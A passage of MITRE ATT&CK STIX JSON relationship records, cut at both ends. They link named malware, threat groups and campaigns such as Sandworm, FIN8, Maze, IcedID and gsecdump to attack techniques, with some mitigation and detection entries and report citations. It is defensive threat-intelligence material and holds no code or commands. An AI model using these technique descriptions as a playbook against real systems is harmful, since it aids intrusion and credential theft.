2020)","relationship_type":"uses","source_ref":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1058a1db-b8c5-47d0-b9ac-3178018f1542","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"},{"source_name":"Mandiant SCANdalous Jul 2020","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"},{"source_name":"Koczwara Beacon Hunting Sep 2021","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--105a37da-145b-4143-8641-566350cd143c","type":"relationship","created":"2020-11-25T22:46:47.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:47.615Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has scanned network infrastructure for vulnerabilities as part of its operational planning.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--10619fa8-c479-4b61-9aac-ee08f00114d1","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"FireEye EPS Awakens Part 2","url":"https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html","description":"Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ELMER](https://attack.mitre.org/software/S0064) is capable of performing directory listings.(Citation: FireEye EPS Awakens Part 2)","modified":"2022-07-26T23:33:26.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10625b4c-7ecc-49a0-b8e3-c9f2d8cba2da","type":"relationship","created":"2020-03-10T18:33:36.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-30T17:42:41.259Z","description":"Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lotus Blossom Dec 2015","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"}],"modified":"2020-03-16T15:50:20.071Z","description":"[Emissary](https://attack.mitre.org/software/S0082) injects its DLL file into a newly spawned Internet Explorer process.(Citation: Lotus Blossom Dec 2015)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--106cf74b-91d6-4348-91ae-48d1a42abb73","type":"relationship","created":"2020-05-07T02:33:06.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.516Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has leveraged CreateProcessW() call to execute the debugger.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1071d72e-9ea8-43df-8e82-2831fe0652b7","type":"relationship","created":"2019-09-27T19:01:29.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T17:11:01.106Z","description":"Regularly check component software on critical services that adversaries may target for persistence to verify the integrity of the systems and identify if unexpected changes have been made.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--107267dc-0620-42b3-8287-f49ce2ea4f8f","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}],"modified":"2019-06-28T20:48:52.551Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can load a DLL using Rundll32.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1075f27d-8675-4819-b23b-50d390092c95","type":"relationship","created":"2020-10-09T16:24:39.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-09T17:02:21.689Z","description":"[Maze](https://attack.mitre.org/software/S0449) has created a file named \"startup_vrun.bat\" in the Startup folder of a virtual machine to establish persistence.(Citation: Sophos Maze VM September 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--107713b7-97e8-4cd6-8671-b38f86e02ed0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.709Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) gathers the MAC address of the victim’s machine.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--107d896b-a618-42fe-a453-76bc4b7d7330","created":"2022-09-27T18:09:39.092Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:09:39.092Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors developed their own custom webshells to upload to compromised servers.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--107dc621-6f5d-4b59-9873-54355e55312d","type":"relationship","created":"2021-01-27T16:43:48.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-06T22:07:33.848Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious links to credential harvesting websites.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--107e2686-a764-4ace-9200-43ead29ce579","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Ristol May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Ritsol. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3909-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Nerex](https://attack.mitre.org/software/S0210) creates a backdoor through which remote attackers can download files onto a compromised host.(Citation: Symantec Ristol May 2012)","relationship_type":"uses","source_ref":"malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--107f8870-4adf-4f63-acf2-d28677905235","created":"2022-10-05T16:07:00.370Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T16:07:00.370Z","description":"[CostaBricks](https://attack.mitre.org/software/S0614) can download additional payloads onto a compromised host.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--13183cdf-280b-46be-913a-5c6df47831e7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10801683-4565-4af5-a447-ac31043f8ad7","type":"relationship","created":"2021-10-12T12:56:04.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-10-12T12:56:04.653Z","description":"[Seth-Locker](https://attack.mitre.org/software/S0639) can execute commands via the command line shell.(Citation: Trend Micro Ransomware February 2021)","relationship_type":"uses","source_ref":"malware--f931a0b9-0361-4b1b-bacf-955062c35746","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10806c6b-100d-456b-bb05-62d90713be64","type":"relationship","created":"2019-01-29T20:05:36.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust NanoCore Jan 2017","url":"https://www.digitrustgroup.com/nanocore-not-your-average-rat/","description":"The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."},{"source_name":"PaloAlto NanoCore Feb 2016","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}],"modified":"2019-04-17T20:47:23.923Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) has the capability to download and activate additional modules for execution.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1082a68e-549b-47d5-9eb3-e719f01ce42b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2020-03-28T00:55:39.825Z","description":"[H1N1](https://attack.mitre.org/software/S0132) kills and disables services for Windows Security Center, and Windows Defender.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1083404f-57df-48dc-a3b9-8c60fb5fd2f7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2020-03-28T20:13:24.822Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has cleared logs during post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1088fc27-2de5-4b73-83fd-6741ab3ff4d6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-18T15:25:12.054Z","description":"[OwaAuth](https://attack.mitre.org/software/S0072) uses the filename owaauth.dll, which is a legitimate file that normally resides in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\; the malicious file by the same name is saved in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--108a1655-faba-4016-a276-c224665cb5c4","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Gsecdump","description":"Vincent Tiu. (2017, September 15). HackTool:Win32/Gsecdump. Retrieved January 10, 2024.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=HackTool:Win32/Gsecdump"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T18:18:48.350Z","description":"[gsecdump](https://attack.mitre.org/software/S0008) can dump Windows password hashes from the SAM.(Citation: Microsoft Gsecdump)","relationship_type":"uses","source_ref":"tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--108b7d74-30a7-40ec-997e-b47c62a5f6e7","type":"relationship","created":"2021-10-12T19:28:40.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2021-10-12T23:21:06.794Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has obtained and used open-source tools such as [LaZagne](https://attack.mitre.org/software/S0349).(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--108e61c1-83fc-4ebf-aa5c-4ff19ccbe7cf","type":"relationship","created":"2020-05-06T21:31:07.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.631Z","description":"[Okrum](https://attack.mitre.org/software/S0439)'s loader can check the amount of physical memory and terminates itself if the host has less than 1.5 Gigabytes of physical memory in total.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1094b816-3db3-40a6-9b86-6a4323d4818f","created":"2024-09-05T22:27:27.115Z","revoked":false,"external_references":[{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:27:27.115Z","description":"[IcedID](https://attack.mitre.org/software/S0483) can inject a [Cobalt Strike](https://attack.mitre.org/software/S0154) beacon into cmd.exe via process hallowing.(Citation: DFIR_Quantum_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1095b9e8-2849-40c2-b56f-f6bc9d4bc648","type":"relationship","created":"2021-08-12T14:55:37.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"Medium Babuk February 2021","url":"https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62","description":"Sebdraven. (2021, February 8). Babuk is distributed packed. Retrieved August 11, 2021."}],"modified":"2021-10-04T13:29:16.875Z","description":"[Babuk](https://attack.mitre.org/software/S0638) can use multiple Windows API calls for actions on compromised hosts including discovery and execution.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: Medium Babuk February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10974f3d-30fc-4ab6-b691-21acff792a05","type":"relationship","created":"2019-05-14T15:26:39.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:36.987Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) has downloaded and dropped temporary files containing scripts; it additionally has a function to upload files from the victims machine.(Citation: Kaspersky StoneDrill 2017)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10976d43-afcf-44d5-bcbf-122f39e0cbff","created":"2023-03-31T18:08:06.399Z","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2017","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020.","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T18:08:06.399Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), DLLs and EXEs with filenames associated with common electric power sector protocols were used to masquerade files.(Citation: Dragos Crashoverride 2017)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10987149-1b3f-4c89-a1e6-c285d740697f","type":"relationship","created":"2019-06-20T01:02:00.297Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 